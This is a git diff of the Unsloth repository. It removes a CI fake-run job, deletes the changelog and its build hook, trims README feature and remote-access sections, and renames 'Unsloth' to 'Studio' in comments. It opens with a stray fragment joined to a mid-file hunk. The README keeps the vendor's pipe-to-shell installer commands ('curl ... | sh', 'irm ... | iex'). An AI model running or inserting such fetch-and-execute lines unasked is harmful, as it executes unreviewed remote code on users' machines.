transformers/audio_utils.py:55 does @@ -285,92 +285,6 @@ jobs: tests/vllm_compat/test_extended_module_imports.py \ -v --tb=short - # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike - # the static symbol/source greps above, this drives unsloth's actual - # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only - # runner under the tests/conftest.py spoof harness -- no GPU, no training. - # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple - # per-token-logps return, restructured PEFT ref-adapter block) by asserting - # the generated Unsloth trainer still satisfies the transform contracts. - grpo-fake-run: - name: GRPO fake-run (latest + main TRL, CPU spoof) - runs-on: ubuntu-latest - timeout-minutes: 18 - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - persist-credentials: false - path: unsloth - - name: Clone unsloth-zoo @ main - run: | - for attempt in 1 2 3; do - rm -rf "$RUNNER_TEMP/unsloth-zoo" - if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \ - "$RUNNER_TEMP/unsloth-zoo"; then - break - fi - if [ "$attempt" -eq 3 ]; then - echo "::error::git clone unsloth-zoo failed after 3 attempts" - exit 1 - fi - delay=$((5 * attempt)) - echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..." - sleep "$delay" - done - - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 - with: - python-version: '3.12' - cache: 'pip' - - name: Install CPU torch + ecosystem + TRL latest - run: | - python -m pip install --upgrade pip - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ - 'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10' - # Ecosystem floors unsloth needs; TRL itself is installed last so it - # can pull the transformers/peft it requires. - pip install \ - 'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \ - 'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \ - 'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow - pip install --upgrade trl - pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo" - pip install --no-deps -e ./unsloth - - name: Fake-run vs TRL latest - env: - UNSLOTH_IS_PRESENT: '1' - UNSLOTH_COMPILE_DISABLE: '1' - # Disable dynamo/inductor at the process level, before conftest.py's early - # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner - # (defense in depth; the CPU fake-train also flips this at runtime). - TORCHDYNAMO_DISABLE: '1' - TORCH_COMPILE_DISABLE: '1' - PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python - run: | - cd unsloth - python -c "import trl; print('Resolved TRL', trl.__version__)" - PYTHONPATH=. python -m pytest \ - tests/version_compat/test_trl_grpo_fake_run.py \ - tests/version_compat/test_trl_fake_train_cpu.py \ - -v --tb=short - # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge - # TRL break does not red every PR. github.event_name is valid in a step if. - - name: Fake-run vs TRL main (scheduled / dispatch only) - if: ${{ github.event_name != 'pull_request' }} - env: - UNSLOTH_IS_PRESENT: '1' - UNSLOTH_COMPILE_DISABLE: '1' - TORCHDYNAMO_DISABLE: '1' - TORCH_COMPILE_DISABLE: '1' - PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python - run: | - pip install --upgrade "git+https://github.com/huggingface/trl" - cd unsloth - python -c "import trl; print('Resolved TRL', trl.__version__)" - PYTHONPATH=. python -m pytest \ - tests/version_compat/test_trl_grpo_fake_run.py \ - tests/version_compat/test_trl_fake_train_cpu.py \ - -v --tb=short - # Daily-only: same suites but with --strict on importable upstream # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake. daily-fresh-fetch: diff --git a/.github/workflows/wheel-smoke.yml b/.github/workflows/wheel-smoke.yml index f7a7511616..3de3c33ca2 100644 --- a/.github/workflows/wheel-smoke.yml +++ b/.github/workflows/wheel-smoke.yml @@ -3,7 +3,7 @@ # Builds the PyPI wheel from the PR branch, then verifies the built wheel # actually contains what we expect to ship and does NOT contain the broken -# Unsloth bundle that 2026.5.1 published. This is the single workflow that +# Studio bundle that 2026.5.1 published. This is the single workflow that # would have blocked the 2026.5.1 release before twine upload. # # Verified locally end-to-end against this branch: @@ -12,7 +12,7 @@ # lockfile shipped, frontend dist shipped, # no node_modules in wheel, no bun.lock in wheel, # main bundle has unstable_Provider hits=1 (assistant-ui internals only). -# - Unsloth backend imports cleanly from the installed wheel with the +# - Studio backend imports cleanly from the installed wheel with the # lightweight dep set below. name: Wheel CI @@ -101,7 +101,7 @@ jobs: hits = data.count("unstable_Provider:") print(f"main bundle: {js[0]}") print(f"unstable_Provider hits: {hits} (>=4 indicates 2026.5.1 regression)") - checks["bundle has no Unsloth unstable_Provider call site"] = (hits < 4) + checks["bundle has no Studio unstable_Provider call site"] = (hits < 4) print() for k, v in checks.items(): @@ -109,7 +109,7 @@ jobs: sys.exit(0 if all(checks.values()) else 1) PY - - name: Unsloth backend import smoke + - name: Studio backend import smoke # Imports `studio.backend.main:app` from the freshly-installed wheel in # a clean venv. This catches the class of bug that 2026.5.1 shipped with: # frontend dist missing, package-lock.json missing, or the wheel's Python @@ -125,32 +125,7 @@ jobs: /tmp/v/bin/pip install --no-deps dist/unsloth-*.whl # Run from /tmp so Python imports the installed package, not the source tree. cd /tmp - /tmp/v/bin/python -c "from studio.backend.main import app; print('Unsloth backend OK:', app.title)" - - - name: CLI without the Studio stack guides instead of tracebacking - # The smoke above installs studio.txt first, so it cannot catch a wheel - # that ships studio/ without declaring what it imports (#4701, #5260, - # #7147). Drop only structlog to reuse that venv without a re-download. - run: | - set -eu - /tmp/v/bin/pip uninstall -y structlog >/dev/null - cd /tmp - status=0 - for args in "export ./nope ./out" "list-checkpoints"; do - echo "--- unsloth $args" - out=$(/tmp/v/bin/unsloth $args 2>&1 || true) - printf '%s\n' "$out" - case "$out" in - *Traceback*) - echo "FAIL: raw traceback instead of guidance"; status=1 ;; - esac - case "$out" in - *'unsloth studio update'*) ;; - *) echo "FAIL: no remediation in the message"; status=1 ;; - esac - done - /tmp/v/bin/pip install -q structlog >/dev/null - exit "$status" + /tmp/v/bin/python -c "from studio.backend.main import app; print('Studio backend OK:', app.title)" - name: Upload wheel on failure if: failure() diff --git a/.gitignore b/.gitignore index fa6997cb06..9f7d4b8c60 100644 --- a/.gitignore +++ b/.gitignore @@ -11,8 +11,6 @@ outputs/ exports/ /datasets/ studio/backend/assets/datasets/ -# Generated async worker / reviewer transcripts (never part of the product). -studio/backend/async_task_outputs/ unsloth_training_checkpoints/ *.gguf *.safetensors @@ -208,9 +206,6 @@ tmp/ **/node_modules/ auth.db -# Packaging snapshot of the root CHANGELOG.md (written by build.sh) -studio/CHANGELOG.md - # Tauri local build/generated output studio/src-tauri/target/ studio/src-tauri/gen/ @@ -241,5 +236,4 @@ package-lock.json !studio/package-lock.json llama.cpp/ # Stray "~" dir some tools create from a literal ~ TMPDIR; never part of the repo. -~/ -/temp/ +/~/ diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index 241e013cea..0000000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,88 +0,0 @@ -# Changelog - -Release notes for Unsloth and Unsloth Studio. - -Unsloth Studio reads this file to show release notes inside the "New Unsloth -version" update popup. Edit it here and the popup picks the change up on the -next update check, with no release or rebuild required. - -## Format - -Every release is a level-2 heading whose first token is the version, optionally -followed by a date: - -```md -## 2026.7.6 - 2026-07-22 -``` - -`## [2026.7.6] - 2026-07-22` and `## v2026.7.6` also work. Everything under a -heading, up to the next level-2 heading, is that release's notes and renders as -Markdown in the popup. - -Notes are matched to one exact version. When Studio offers an update to -`2026.7.6` it renders the `2026.7.6` section and nothing else. If that section -is missing, the popup links out to the online changelog rather than showing -notes from an unrelated release, so a new version needs its own section here -before its notes can appear. - -Keep the newest release at the top. Lead each bullet with the change itself: -the collapsed popup highlights the first sentence and dims the rest. -`## Unreleased` is ignored by the popup, so it is safe to stage notes there and -rename the heading at release time. - - - -## Unreleased - -## 2026.7.5 - -### What's Changed - -- AMD support is here. Train, run RL, chat with and deploy 500+ models on - Radeon, Instinct, Ryzen and data center GPUs across Windows, WSL and Linux, - up to 2x faster with 70% less VRAM and no accuracy loss. -- Intel XPU support lands in Studio, so Arc and Data Center GPUs run chat and - training alongside the NVIDIA, AMD and Apple paths. -- Local speech to text dictation runs fully offline, with slim Whisper bundles - and a picker for custom models. -- DoRA training is available in Studio, selectable next to LoRA and full - fine-tuning in the training tab. -- The update popup previews release notes inline, pulled from this file and - matched to the exact version being offered. - -### AMD, 23 July update - -Our AMD collaboration, custom Triton kernels and math algorithms bring local -training and inference to AMD hardware. The 23 July update builds on the -[AMD release](https://github.com/unslothai/unsloth/releases/tag/v0.1.501-beta): - -- RDNA2 and Gorgon Halo are supported, and the installer no longer fails to - detect GPUs on Strix Halo and other AMD cards. -- RDNA4 handling is better, and HIP and ROCm failures are caught and fixed - automatically instead of stopping the install. -- Unified memory safetensors loading is 2x faster, with much faster gradient - checkpointing on unified memory devices. -- Voice dictation through whisper.cpp has preliminary support. -- Rollback environments left by installs no longer eat 5GB of disk. They are - cleaned up automatically. - -Optimized ROCm builds cover GGUF and safetensors inference, and ROCm -compatibility is improved for MI300X and MI325X. Full guide: -[unsloth.ai/docs/basics/amd](https://unsloth.ai/docs/basics/amd). - -### Running larger models - -- Automatic GPU placement, or pick exactly which GPUs and layers to use. -- Move MoE expert layers into system memory so larger models fit. -- Split a model across several GPUs, or use tensor parallelism. -- Hardware settings are saved per model and quant. - -### Also in this release - -- Remote access with `unsloth studio --secure` over free HTTPS via Cloudflare. -- Web search reads PDF papers and manuals, and parallel tool calls, reasoning - output and tool retries are more reliable. -- The model download location is configurable, so weights can live on a second - drive instead of the default cache. -- Stalled Hugging Face XET downloads retry over standard HTTP, and existing - GGUF files are reused instead of downloaded again. diff --git a/MANIFEST.in b/MANIFEST.in deleted file mode 100644 index 7bce036343..0000000000 --- a/MANIFEST.in +++ /dev/null @@ -1,2 +0,0 @@ -include _changelog_build.py -include CHANGELOG.md diff --git a/README.md b/README.md index e0fc8ee44c..e3fd4e6980 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,6 @@ Unsloth Studio lets you run and train models locally.

Features • - NewsQuickstartNotebooksDocumentation @@ -48,51 +47,15 @@ Unsloth Studio (Beta) lets you run and train text, [audio](https://unsloth.ai/do * [Auto set inference settings](https://unsloth.ai/docs/new/studio/chat#auto-parameter-tuning) and customize chat templates. * We work directly with teams behind [gpt-oss](https://docs.unsloth.ai/new/gpt-oss-how-to-run-and-fine-tune#unsloth-fixes-for-gpt-oss), [Qwen3](https://www.reddit.com/r/LocalLLaMA/comments/1kaodxu/qwen3_unsloth_dynamic_ggufs_128k_context_bug_fixes/), [Llama 4](https://github.com/ggml-org/llama.cpp/pull/12889), [Mistral](https://huggingface.co/mistralai/Mistral-Medium-3.5-128B/discussions/18), [Gemma 1-3](https://news.ycombinator.com/item?id=39671146), and [Phi-4](https://unsloth.ai/blog/phi4), where we’ve fixed bugs that improve model accuracy. * Chat with images, audio, PDFs, code, DOCX and more. [Connect API providers](https://unsloth.ai/docs/integrations/connections) (OpenAI, Anthropic) or servers (vLLM, Ollama). -* [**Compare any two models**](https://unsloth.ai/docs/new/studio/chat#model-arena) side by side with the same prompt. -* **OpenAI/Anthropic-compatible APIs**: Serve local models through `/v1/chat/completions`, `/v1/responses` and `/v1/messages`. -* **Connect local models to agents**: Use `unsloth start` with Claude Code, Codex, Hermes and more. -* **Web/PDF search** can read PDF papers, manuals and other PDF results. -* **GGUF hardware controls**: Choose GPUs/layers, offload MoE experts, use multi-GPU or Tensor Parallelism. -* The opt-in **MCP control endpoint** lets AI clients manage models, training, recipes and exports. ### Training -* Train and RL **500+ models** up to **2x faster** with **70% less VRAM**; MoE up to **12x faster**. -* Train and run RL on [AMD GPUs](https://unsloth.ai/docs/basics/amd) across Windows, WSL and Linux. +* Train and RL **500+ models** up to **2x faster** with up to **70% less VRAM**, with no accuracy loss. +* Custom Triton and mathematical **kernels**. See some collabs we did with [PyTorch](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) and [Hugging Face](https://unsloth.ai/docs/new/faster-moe). * **Data Recipes**: [Auto-create datasets](https://unsloth.ai/docs/new/studio/data-recipe) from **PDF, CSV, DOCX** etc. Edit data in a visual-node workflow. -* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** uses **80% less VRAM** for GRPO, FP8 and vision RL, with 7x longer contexts. -* [**Long-context training**](https://unsloth.ai/docs/new/3x-faster-training-packing): **3x faster**, 30% less VRAM and 500K+ context. -* Supports LoRA/QLoRA, full fine-tuning, RL, pretraining, 4-bit, 16-bit and FP8. -* Custom Triton and mathematical **kernels** built with PyTorch and Hugging Face. +* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** (RL): The most efficient [RL](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide) library, using **80% less VRAM** for GRPO, [FP8](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) etc. +* Supports full fine-tuning, RL, pretraining, 4-bit, 16-bit and, FP8 training. * **Observability**: Monitor training live, track loss and GPU usage and customize graphs. * [Multi-GPU](https://unsloth.ai/docs/basics/multi-gpu-training-with-unsloth) training is supported, with major improvements coming soon. -## 🚀 Unsloth Start - -[Unsloth Start](https://unsloth.ai/docs/integrations/unsloth-start) connects [Claude Code](https://unsloth.ai/docs/basics/claude-code), [Codex](https://unsloth.ai/docs/basics/codex) and other agents to local models with one command. - -Start Unsloth, load a model, open your project folder, then run: - -```bash -unsloth start claude -``` - -Replace `claude` with any supported agent: - -| Agent | Command | -| --- | --- | -| Claude Code | `unsloth start claude` | -| OpenAI Codex | `unsloth start codex` | -| Hermes Agent | `unsloth start hermes` | -| OpenClaw | `unsloth start openclaw` | -| OpenCode | `unsloth start opencode` | -| Pi Coding Agent | `unsloth start pi` | - -Claude Code, Codex, OpenCode and Pi can keep their current model and use Unsloth as a local -subagent: - -```bash -unsloth start claude --as-subagent --model unsloth/model-GGUF:quant -``` - ## 📥 Install Unsloth can be used in two ways: through **[Unsloth Studio](https://unsloth.ai/docs/new/studio/)**, the web UI, or through **Unsloth Core**, the code-based version. Each has different requirements. @@ -102,8 +65,7 @@ Unsloth Studio (Beta) works on **Windows, Linux, WSL** and **macOS**. * **CPU:** Supported for Chat and Data Recipes currently * **NVIDIA:** Training works on RTX 30/40/50, Blackwell, DGX Spark, Station and more * **macOS:** Training, MLX and GGUF inference are ALL supported. -* **AMD:** Training, RL, chat and deployment work on Windows, WSL and Linux. [Read the AMD guide](https://unsloth.ai/docs/basics/amd). -* **Vulkan:** GGUF inference is supported on [compatible GPUs, including Intel GPUs](https://github.com/unslothai/unsloth/pull/5819). Vulkan accelerates GGUF inference only; training still requires a supported PyTorch or MLX backend. +* **AMD:** Chat + Data works. Train with [Unsloth Core](#unsloth-core-code-based). Studio support is out soon. * **Multi-GPU:** Available now, with a major upgrade on the way #### macOS, Linux, WSL: @@ -112,35 +74,19 @@ curl -fsSL https://unsloth.ai/install.sh | sh ``` Use the same command to update. -To force the Vulkan llama.cpp backend, set `UNSLOTH_FORCE_VULKAN=1` **before installing or updating**. The setting selects the llama.cpp binary bundle, so setting it only when launching Studio cannot replace an existing CPU bundle: - -```bash -export UNSLOTH_FORCE_VULKAN=1 -curl -fsSL https://unsloth.ai/install.sh | sh -``` - #### Windows: ```powershell irm https://unsloth.ai/install.ps1 | iex ``` Use the same command to update. -To force the Vulkan llama.cpp backend, set the environment variable before running the installer or updater: - -```powershell -$env:UNSLOTH_FORCE_VULKAN=1 -irm https://unsloth.ai/install.ps1 | iex -``` - -Re-running the current installer replaces a previously selected CPU bundle when the backend differs. A separate Vulkan SDK is not required; the GPU driver must provide a working Vulkan runtime. - #### Launch ```bash unsloth studio -p 8888 ``` -For LAN or cloud access, add `-H 0.0.0.0` (raw port only; add `--cloudflare` for a public URL). By default, Unsloth is accessible only locally. +For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally. -To reach Unsloth over HTTPS, use `unsloth studio --secure`. Unsloth stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Unsloth reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below). +To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below). #### Docker Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run: @@ -176,7 +122,7 @@ You can use the same Docker image as Unsloth Studio. #### AMD, Intel: For RTX 50x, B200, 6000 GPUs: `uv pip install unsloth --torch-backend=auto`. Read our guides for: [Blackwell](https://unsloth.ai/docs/blog/fine-tuning-llms-with-blackwell-rtx-50-series-and-unsloth) and [DGX Spark](https://unsloth.ai/docs/blog/fine-tuning-llms-with-nvidia-dgx-spark-and-unsloth).
-To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/basics/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel). +To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/get-started/install/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel). ## 📒 Free Notebooks @@ -202,20 +148,13 @@ Read our [guide](https://unsloth.ai/docs/get-started/fine-tuning-llms-guide). Ad - See detailed documentation for Unsloth [here](https://unsloth.ai/docs) ## 🦥 Unsloth News -- **AMD training**: Train, run RL, chat and deploy on AMD GPUs across Windows, WSL and Linux. [Guide](https://unsloth.ai/docs/basics/amd) -- **GGUF hardware controls**: Choose GPU/layer placement, offload MoE experts and use multi-GPU or Tensor Parallelism. [#6414](https://github.com/unslothai/unsloth/pull/6414) -- **Local models for any agent**: Use `unsloth start` with Claude Code, Codex, Hermes, OpenCode, OpenClaw, Pi and more through Unsloth's OpenAI- and Anthropic-compatible APIs. [Guide](https://unsloth.ai/docs/basics/api) -- **MCP control endpoint**: Let compatible clients manage models, training, recipes, checkpoints and exports. [#7191](https://github.com/unslothai/unsloth/pull/7191) -- **Local inference reliability**: Resume long chats faster, recover stalled downloads and reuse existing GGUF files. [#7204](https://github.com/unslothai/unsloth/pull/7204) • [#6858](https://github.com/unslothai/unsloth/pull/6858) • [#7209](https://github.com/unslothai/unsloth/pull/7209) -- **New models**: [Qwen-AgentWorld](https://huggingface.co/unsloth/Qwen-AgentWorld-35B-A3B-GGUF), [Ornith](https://huggingface.co/unsloth/models?search=ornith), [Kimi K2.7 Code](https://unsloth.ai/docs/models/kimi-k2.7-code) and [MiniMax M3](https://unsloth.ai/docs/models/minimax-m3) -- **GLM-5.2**: Run Z.ai's 744B-parameter, 1M-context open model locally with Unsloth Dynamic GGUFs. [Guide](https://unsloth.ai/docs/models/glm-5.2) -- **DeepSeek-V4**: Run DeepSeek-V4-Flash locally with corrected multi-turn and tool-calling behavior. [Guide](https://unsloth.ai/docs/models/deepseek-v4) -- **DiffusionGemma**: Run and fine-tune Google's diffusion language model with 1.8x faster inference in Unsloth Studio. [Guide](https://unsloth.ai/docs/models/diffusiongemma) -- **Qwen3.6**: Run and train Qwen3.6 with MTP for 1.4-2.2x faster inference and NVFP4 quants for supported GPUs. [Guide](https://unsloth.ai/docs/models/qwen3.6) -- **Gemma 4**: Run and train Gemma 4 text, image and audio models with QAT, MTP, GGUF and MLX support. [Guide](https://unsloth.ai/docs/models/gemma-4) -- **MCP servers**: Connect local models to files, apps, databases and external tools through Model Context Protocol. [Guide](https://unsloth.ai/docs/basics/mcp) -- **Connections**: Mix local models with API providers (OpenAI, Anthropic) or servers (vLLM, Ollama) in the same interface. [Guide](https://unsloth.ai/docs/integrations/connections) +- **Connections**: Connect any API provider (OpenAI, Anthropic) or server (vLLM, Ollama). [Guide](https://unsloth.ai/docs/integrations/connections) +- **MTP**: Run Qwen3.6 MTP in Unsloth. MTP settings are autoset specific to your hardware. [Guide](https://unsloth.ai/docs/models/qwen3.6#mtp-guide) +- **API inference endpoint**: Deploy and run local LLMs in Claude Code, Codex tools. [Guide](https://unsloth.ai/docs/basics/api) +- **Qwen3.6**: Qwen3.6-35B-A3B can now be trained and run in Unsloth Studio. [Blog](https://unsloth.ai/docs/models/qwen3.6) +- **Gemma 4**: Run and train Google’s new models directly in Unsloth. [Blog](https://unsloth.ai/docs/models/gemma-4) - **Introducing Unsloth Studio**: our new web UI for running and training LLMs. [Blog](https://unsloth.ai/docs/new/studio) +- **Qwen3.5** - 0.8B, 2B, 4B, 9B, 27B, 35-A3B, 112B-A10B are now supported. [Guide + notebooks](https://unsloth.ai/docs/models/qwen3.5/fine-tune) - Train **MoE LLMs 12x faster** with 35% less VRAM - DeepSeek, GLM, Qwen and gpt-oss. [Blog](https://unsloth.ai/docs/new/faster-moe) - **Embedding models**: Unsloth now supports ~1.8-3.3x faster embedding fine-tuning. [Blog](https://unsloth.ai/docs/new/embedding-finetuning) • [Notebooks](https://unsloth.ai/docs/get-started/unsloth-notebooks#embedding-models) - New **7x longer context RL** vs. all other setups, via our new batching algorithms. [Blog](https://unsloth.ai/docs/new/grpo-long-context) @@ -269,31 +208,16 @@ unsloth studio -p 8888 #### Remote access: `--secure` (HTTPS tunnel) vs raw port By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach it from another device, pick one of: -- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Unsloth stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed. +- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Studio stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed. ```bash unsloth studio --secure -p 8888 ``` -- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network (subject to your firewall). It does not create a public internet URL; add `--cloudflare` to also publish an internet-reachable `https://*.trycloudflare.com` link even behind a firewall. Only use this on a network you trust. +- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network. ```bash unsloth studio -H 0.0.0.0 -p 8888 ``` -The Cloudflare tunnel is **off by default**: `-H 0.0.0.0` exposes the raw port only, not a public internet URL. Pair the wildcard bind with `--cloudflare` (`unsloth studio -H 0.0.0.0 --cloudflare`) to also publish a public `https://*.trycloudflare.com` link, or prefer `--secure` (above), which keeps the raw port private. `--cloudflare` has no effect on a loopback bind. -On a wildcard bind Unsloth works out the address to share by asking `ifconfig.me` for the public IP, then asks `check-host.net` whether that port is reachable so it can tell you if a firewall is in the way. Both contact a third party. Set `UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK=1` to skip them; the banner then shows the LAN address and no reachability line. - -The first time Unsloth is published on a public URL (`--secure` or `--cloudflare`) with the auto-generated admin password still in place, it asks for a new admin password in the terminal (masked input with confirmation) before the public link goes up. Without an attached terminal it warns instead and keeps the bootstrap deadline: Unsloth shuts down after `UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT` (default 1 hour) unless the password is changed in the web UI. - -For headless setups that cannot answer that prompt, set the initial admin password non-interactively with `--password` (only takes effect when no password is set yet; if one already exists it is a hard error, so rotate later with `unsloth studio reset-password`): - -```bash -unsloth studio --secure --password 'your-strong-password' # visible in `ps`/history -UNSLOTH_STUDIO_PASSWORD='your-strong-password' unsloth studio --secure # via env var -printf '%s\n' 'your-strong-password' | unsloth studio --secure --password - # via stdin -``` - -A literal `--password VALUE` is visible in the process list and shell history, so prefer the `UNSLOTH_STUDIO_PASSWORD` env var or `--password -` (stdin) for automation. This applies to any launch (public or a headless `-H 0.0.0.0` bind), and the password is set in the parent before the server binds, so it never reaches a re-executed child process. - -Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Unsloth. +Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Studio. #### Advanced launch options Installer options can be passed as environment variables. On macOS, Linux and WSL place the variable after the pipe so the shell passes it to `sh`; on Windows set it with `$env:` before piping to `iex`. @@ -306,14 +230,6 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex ``` -Skip the post-install prompt that starts Unsloth (useful for automated installs): -```bash -curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh -``` -```powershell -$env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex -``` - Pin the Python version: ```bash curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh @@ -342,9 +258,9 @@ UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh - ```powershell $env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local ``` -It is threaded as `--registry` into the Unsloth frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force. +It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force. -Cap Unsloth's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`. +Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`. #### Uninstall The recommended way to fully remove Unsloth Studio is the matching uninstall script for your OS. It stops any running servers, removes the install dir, the launcher data dir, the desktop shortcut, and any platform-specific entries (macOS `.app` bundle + Launch Services on Mac; Start Menu, `HKCU\Software\Unsloth` registry key and user `PATH` entries on Windows): diff --git a/_changelog_build.py b/_changelog_build.py deleted file mode 100644 index f5bcf2052c..0000000000 --- a/_changelog_build.py +++ /dev/null @@ -1,36 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. - -"""Snapshot CHANGELOG.md into the studio package at build time. - -CHANGELOG.md at the repo root stays the one file to edit. Copying it here, -rather than in build.sh, means every packaging path ships it, so release notes -still render when the popup cannot reach GitHub.""" - -from __future__ import annotations - -import shutil -from pathlib import Path - -from setuptools.command.build_py import build_py as _build_py - -ROOT = Path(__file__).resolve().parent -SOURCE = ROOT / "CHANGELOG.md" -SNAPSHOT = ROOT / "studio" / "CHANGELOG.md" - - -class build_py(_build_py): - def run(self) -> None: - # Beside the sources only if writable (PEP 517 may build an immutable - # checkout); into the staging directory always. - if SOURCE.is_file(): - try: - shutil.copyfile(SOURCE, SNAPSHOT) - except OSError: - pass - super().run() - if not SOURCE.is_file(): - return - staged = Path(self.build_lib) / "studio" / "CHANGELOG.md" - staged.parent.mkdir(parents = True, exist_ok = True) - shutil.copyfile(SOURCE, staged) diff --git a/build.sh b/build.sh index 5b09a7791b..dc272f0de1 100644 --- a/build.sh +++ b/build.sh @@ -4,9 +4,9 @@ set -euo pipefail -# PyPI/Unsloth release publishing must use `./build.sh publish` (or an -# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Unsloth -# artifacts include the display-only Unsloth release version. +# PyPI/Studio release publishing must use `./build.sh publish` (or an +# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Studio +# artifacts include the display-only Studio release version. # 1. Build frontend (Vite outputs to dist/) cd studio/frontend @@ -87,7 +87,7 @@ cd ../.. # 2. Clean old artifacts rm -rf build dist *.egg-info -# 3. Stamp display-only Unsloth release metadata for packaged builds. +# 3. Stamp display-only Studio release metadata for packaged builds. _STUDIO_BUILD_INFO="studio/backend/utils/_studio_release_build.py" _STUDIO_BUILD_INFO_BACKUP="$(mktemp)" cp "$_STUDIO_BUILD_INFO" "$_STUDIO_BUILD_INFO_BACKUP" @@ -103,13 +103,9 @@ else STUDIO_STAMPED_VERSION="$(python scripts/stamp_studio_release.py)" fi -# 4. Build wheel/sdist. _changelog_build.py snapshots CHANGELOG.md into the studio -# package so release notes render offline. +# 4. Build wheel/sdist python -m build -# Drop the snapshot so a source checkout never serves a stale copy. -rm -f studio/CHANGELOG.md - if [ "${1:-}" = "publish" ]; then python scripts/stamp_studio_release.py --verify-dist dist --expected "$STUDIO_STAMPED_VERSION" fi diff --git a/install.ps1 b/install.ps1 index 5b205df96d..f7f9540970 100644 --- a/install.ps1 +++ b/install.ps1 @@ -6,7 +6,6 @@ # irm | iex cannot forward arguments, so web installs take options as env vars set # before the pipe (flags still work via .\install.ps1): # $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex # skip PyTorch (GGUF-only) -# $env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex # do not prompt to launch # $env:UNSLOTH_PYTHON='3.12'; irm https://unsloth.ai/install.ps1 | iex # pin Python version # $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex # .\install.ps1 --no-torch # equivalent flag @@ -28,14 +27,6 @@ function Install-UnslothStudio { } } - function Clear-TauriInstallError { - param([string]$Message) - if ($TauriMode) { - Write-TauriLog "ERROR_CLEAR" $Message - [Console]::Error.WriteLine("[TAURI:ERROR_CLEAR] $Message") - } - } - function Format-TauriDiagBool { 